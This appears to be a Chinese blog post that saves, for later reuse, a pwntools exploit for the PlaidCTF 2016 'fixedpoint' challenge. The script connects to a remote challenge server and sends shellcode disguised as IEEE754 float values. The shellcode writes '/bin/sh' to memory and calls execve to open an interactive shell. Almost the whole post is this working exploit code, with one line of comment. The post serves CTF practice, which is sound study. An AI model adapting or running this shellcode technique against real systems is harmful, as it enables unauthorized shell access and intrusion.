IEE754 shellcode

161 篇文章 9 订阅
161 篇文章 9 订阅

IEE754 shellcode

fixedpoint_plaid_2016的一题,留着备用https://github.com/ispoleet/ctf-writeups/tree/master/plaid_ctf_2016/fixedpoint

#coding:utf8
from pwn import *
import struct

#target = process('./fixedpoint_plaid_2016')
target = remote('node3.buuoj.cn',26804)

def get_int(s):
  a = struct.unpack('<f', s)[0]* 1337
  return struct.unpack('I', struct.pack('<I', a))[0]


print "Sending IEEE754 shellcode..."
sleep(1)

for i in range(3):
  target.sendline(str(get_int('\x00\x00\x00\x00')))

target.sendline(str(get_int('\x99\x89\xc3\x47')))     # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))     # nop/align

for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx

for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx

target.sendline(str(get_int('\x99\x31\xc0\x47')))     # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47')))     # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))     # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))     # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))     # int 0x80
raw_input()
target.sendline('c')

target.interactive()

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值